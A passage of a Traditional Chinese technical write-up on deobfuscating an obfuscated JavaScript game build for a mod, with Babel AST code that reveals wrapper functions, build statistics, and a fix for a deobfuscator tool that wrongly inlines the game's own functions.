<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">      const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> target</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> calleeId</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(path.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">get</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">'body.body.0.argument'</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">), r.argument.callee);</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">      if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">!</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">target) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">return</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">      if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">!</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">r.argument.arguments.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">every</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">a</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =></span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> isSimple</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(a, params))) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">return</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">      let</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> b;</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">      if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (t.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">isFunctionDeclaration</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(n)) b </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> path.parentPath.scope.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">getBinding</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(n.id.name);</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">      else</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (t.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">isVariableDeclarator</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(path.parent) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;&#x26;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> t.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">isIdentifier</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(path.parent.id)) b </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> path.parentPath.scope.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">getBinding</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(path.parent.id.name);</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">      if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">!</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">b </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">||</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> wrappers.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">has</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(b)) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">return</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">      const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> name</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> 'W'</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> +</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (uid</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">++</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">);</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">      wrappers.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">set</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(b, name);</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">      const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> args</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> r.argument.arguments.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">map</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">a</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =></span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> generate</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(a).code).</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">join</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">','</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">);</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">      defs.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">push</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">`function ${</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">name</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">}(${</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">n</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">.</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">params</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">map</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">p</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=></span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">p</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">.</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">name</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">).</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">join</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">','</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">)</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">}){return ${</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">target</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">}(${</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">args</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">});}`</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">);</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">      changed </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> true</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    }</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">  });</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">}</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">vm.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">runInContext</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(defs.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">join</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">'</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">\n</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">'</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">), ctx);</span></span></code></pre></figure>
<p><a href="https://git.siao.ai/siao/dungeon-reborn-mod/blob/main/reverse/reveal.mjs#L48-L74">在 SiaoHub 檢視 siao/dungeon-reborn-mod/reverse/reveal.mjs L48-74</a></p>
<p>每一版的數量差不多：</p>
<figure class="chart"><svg viewBox="0 0 560 302" role="img" aria-label="各 build 的 wrapper 數量與換掉的呼叫數（百）" style="max-width:100%;height:auto;display:block;margin:0 auto"><line x1="44" y1="10" x2="60" y2="10" style="stroke:var(--accent);stroke-width:2"></line><text x="66" y="14" style="fill:var(--ink);font-size:11px">wrapper</text><line x1="133" y1="10" x2="149" y2="10" style="stroke:var(--ink-dim);stroke-width:2;stroke-dasharray:5,4"></line><text x="155" y="14" style="fill:var(--ink);font-size:11px">換掉的呼叫（百）</text><line x1="44" y1="252" x2="536" y2="252" style="stroke:var(--ink-dim);stroke-width:1"></line><text x="36" y="256" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">0</text><text x="36" y="153" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">35</text><text x="36" y="50" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">70</text><rect x="94" y="235.4022857142857" width="30" height="16.59771428571429" rx="2" class="chart-bar-positive" style="fill:var(--accent);--i:0"></rect><text x="110" y="229.4022857142857" text-anchor="middle" style="fill:var(--ink);font-size:11px">5.64</text><rect x="126" y="81.49085714285715" width="30" height="170.50914285714285" rx="2" class="chart-bar-positive" style="fill:var(--ink-dim);--i:1"></rect><text x="142" y="75.49085714285715" text-anchor="middle" style="fill:var(--ink);font-size:11px">57.94</text><text x="126" y="282" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">f788969</text><rect x="258" y="235.19628571428572" width="30" height="16.80371428571428" rx="2" class="chart-bar-positive" style="fill:var(--accent);--i:2"></rect><text x="274" y="229.19628571428572" text-anchor="middle" style="fill:var(--ink);font-size:11px">5.71</text><rect x="290" y="72.30914285714286" width="30" height="179.69085714285714" rx="2" class="chart-bar-positive" style="fill:var(--ink-dim);--i:3"></rect><text x="306" y="66.30914285714286" text-anchor="middle" style="fill:var(--ink);font-size:11px">61.06</text><text x="290" y="282" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">5c02894</text><rect x="422" y="234.75485714285713" width="30" height="17.245142857142866" rx="2" class="chart-bar-positive" style="fill:var(--accent);--i:4"></rect><text x="438" y="228.75485714285713" text-anchor="middle" style="fill:var(--ink);font-size:11px">5.86</text><rect x="454" y="84.40428571428572" width="30" height="167.59571428571428" rx="2" class="chart-bar-positive" style="fill:var(--ink-dim);--i:5"></rect><text x="470" y="78.40428571428572" text-anchor="middle" style="fill:var(--ink);font-size:11px">56.95</text><text x="454" y="282" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">3b32e21</text></svg><figcaption>各 build 的 wrapper 數量與換掉的呼叫數（百）</figcaption></figure>
<p>三版都是 0 個失敗。</p>
<p>本節來源：<a href="#doc-reverse-README"><code>reverse/README.md</code></a></p>
<hr>
<h2 id="5-現成工具會把程式改壞" class="phrased">（5）<wbr>現成<wbr>工具<wbr>會把<wbr>程式<wbr>改壞</h2>
<p>字串還原之後，proxy object、控制流平坦化、數字算式交給 obfuscator-io-deobfuscator。它的預設設定有三個地方會改壞程式，而且都不會報錯。</p>
<p><strong>ProxyFunctionInliner 把遊戲自己的函式內聯掉。</strong> 混淆器會產生 <code>{'WgTpU': (a,b) => a+b}</code> 這種 proxy，工具把它們內聯回去是對的。但它也把遊戲自己的小函式當成 proxy，而且參數會不見：</p>
<figure data-rehype-pretty-code-figure=""><pre style="--shiki-light:#0e1116;--shiki-dark:#f0f3f6;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0a0c10" tabindex="0" data-language="js" data-theme="github-light-high-contrast github-dark-high-contrast"><code data-language="js" data-theme="github-light-high-contrast github-dark-high-contrast" style="display: grid;"><span data-line=""><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">// 原本</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">function</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> itemLv</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">id</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) { </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">return</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">G</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> &#x26;&#x26;</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> G</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">.items[id]) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">||</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">; }</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> speed</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> base </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">*</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> +</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> itemLv</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"boots"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">*</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 0.06</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">);</span></span>
<span data-line=""> </span>
<span data-line=""><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">// 內聯後：_0x528f3b 是 itemLv 的參數名，已經沒有定義了</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> speed</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> base </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">*</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> +</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">G</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> &#x26;&#x26;</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> G</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">.items[_0x528f3b] </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">||</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">*</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 0.06</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">);</span></span></code></pre></figure>
<p><code>playerSpeed</code>、<code>cooldownNow</code> 也被內聯掉，而它們剛好是外掛要掛的函式。修法是收緊判定：只內聯「只引用自己的參數、每個參數只用一次」的函式，而且主 IIFE 頂層的函式宣告一律不動。</p>
<figure data-rehype-pretty-code-figure=""><pre style="--shiki-light:#0e1116;--shiki-dark:#f0f3f6;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0a0c10" tabindex="0" data-language="js" data-theme="github-light-high-contrast github-dark-high-contrast"><code data-language="js" data-theme="github-light-high-contrast github-dark-high-contrast" style="display: grid;"><span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">function</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> pureOfParams</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">fn</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) {</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">  const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> params</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> new</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> Set</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(fn.params.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">map</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">p</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =></span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> p.name));</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">  const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> body</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> t.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">isBlockStatement</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(fn.body) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">?</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> fn.body.body[</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">]?.argument </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">:</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> fn.body;</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">  if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">!</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">body) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">return</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> true</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">  const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> seen</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> new</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> Map</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(); </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">let</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> ok </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> true</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">  (</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">function</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> walk</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">n</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">parent</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">key</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) {</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">!</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">ok </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">||</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> !</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">n </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">||</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> typeof</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> n.type </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">!==</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> 'string'</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">return</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (t.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">isIdentifier</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(n)) {</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">      const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> isProp</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (t.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">isMemberExpression</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(parent) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;&#x26;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> key </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">===</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> 'property'</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> &#x26;&#x26;</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> !</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">parent.computed) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">||</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (t.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">isObjectProperty</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(parent) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;&#x26;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> key </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">===</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> 'key'</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">);</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">      if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">!</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">isProp) {</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">!</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">params.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">has</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(n.name)) { ok </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> false</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">; </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">return</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">; }</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">        seen.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">set</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(n.name, (seen.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">get</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(n.name) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">||</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">);</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (seen.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">get</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(n.name) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">></span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) ok </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> false</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">      }</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">      return</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    }</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    for</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> k</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> of</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> t.</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">VISITOR_KEYS</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">[n.type] </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">||</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> []) {</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">      const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> v</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> n[k];</span></span>
